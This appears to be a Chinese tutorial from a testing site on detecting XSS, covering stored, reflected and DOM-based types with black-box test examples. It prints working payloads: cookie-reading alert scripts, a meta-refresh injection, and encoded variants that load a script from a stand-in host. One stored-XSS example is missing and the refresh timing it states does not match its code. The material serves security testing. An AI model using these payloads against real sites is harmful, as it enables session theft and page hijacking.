如何防范XSS跨站脚本攻击测试篇

51testing

  XSS是为何物大家可以在我前面的文章中一窥端倪,而事实上,XSS也是一种对浏览器的解释器的代码注入攻击,这些攻击能够通过HTML,JavaScript,VBScript,ActiveX,Flash等其他客户端语言执行,同时,这些攻击也可能造成用户信息泄露,配置更改,cookie窃取等造成危害,甚至能够用于对Web服务器进行DOS攻击。

  与大部分攻击不同的是,大部分攻击往往只涉及2方(攻击者和网站,攻击者和受害者),而XSS则涉及3方,攻击者、客户端、网站,XSS的目的就是窃取客户端的cookie或是其他信息以冒充客户在网站上进行认证,进而在网站上操作任何想进行的操作。

  下面我们看看到底有哪些类型的XSS攻击:

  Stored XSS(存储式跨站脚本攻击)

  这是最强大的一种XSS攻击,所谓存储跨站攻击是指用户提交给Web应用程序的数据首先就被永久的保存在服务器的数据库,文件系统或其他地方,后面且未做任何编码就能显示到Web页面,最典型的就是2005年在MySpace发现的XSS漏洞以及利用该漏洞的Samy MySpace Worm。

  举例,假设我们的网站允许我们给其他用户留言,但事实上我们没有留言而是写入了一段代码:

  那么服务器将会存储这些信息,当用户点击我们伪造的留言时,他的浏览器就会执行我们的脚本。

  Reflected XSS(反射跨站脚本攻击)

  这是最常见也是最知名的XSS攻击,当Web客户端提交数据后,服务器端立刻为这个客户生成结果页面,如果结果页面中包含未验证的客户端输入数据,那么就会允许客户端的脚本直接注入到动态页面中。传统的例子是站点搜索引擎,如果我们搜索一个包含特殊HTML字符的字符串时,通常在返回页面上仍然会有这个字符串来告知我们搜索的是什么,如果这些返回的字符串未被编码,那么,就会存在XSS漏洞了。

  初看上去,由于用户只能在自己的页面上注入代码,所以似乎这个漏洞并不严重,但是,只需一点点社会工程的方法,攻击者就能诱使用户访问一个在结果页面中注入了代码的URL,这就给了攻击者整个页面的权限。由于这种攻击往往会需要一些社会工程方法,所以研发人员往往不会太过看重,但是我们看如下的例子,在服务器上有如下代码:

  article.php?title=<meta%20http-equiv="refresh"%20content="0;">

  这就使得浏览器每3秒就刷新一次页面,而且是一个死循环的状态,这就形成了DOS攻击,导致Web服务器挂掉。

  DOM-Based XSS(基于DOM的XSS)

  这个漏洞往往存在于客户端脚本,如果一个Javascript脚本访问需要参数的URL,且需要将该信息用于写入自己的页面,且信息未被编码,那么就有可能存在这个漏洞。

  黑盒测试和示例:

  比较简单的测试是否存在XSS漏洞的方法是验证Web应用是否会对一个包含了HTTP响应的简单脚本的访问请求,例如,Sambar服务器(5.3)包含一个众所周知的XSS漏洞,我们向服务器发送如下的请求,从服务器端能够产生一个响应从而在Web浏览器中执行

  http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>

  这个脚本会在客户浏览器端被执行。

  我们再举个例子:

  由于Javascript是区分大小写的,有些人会尝试将所有字符转换为大写字符来避免XSS漏洞,在这时,我们最好还是使用VBScript,因为它是大小写不区分的:

  JavaScript。

  <script>alert(document.cookie);</script>

  VBScript。

  <script. type="text/vbscript">alert(DOCUMENT.COOKIE)</script>

  如果我们已经过滤了”<”,或者是<script,/script>,那么我们就需要尝试各种编码方法了

  <script. src=http://www.example.com/malicious-code.js></script>

  %3cscript. src=http://www.example.com/malicious-code.js%3e%3c/script%3e

  \x3cscript. src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e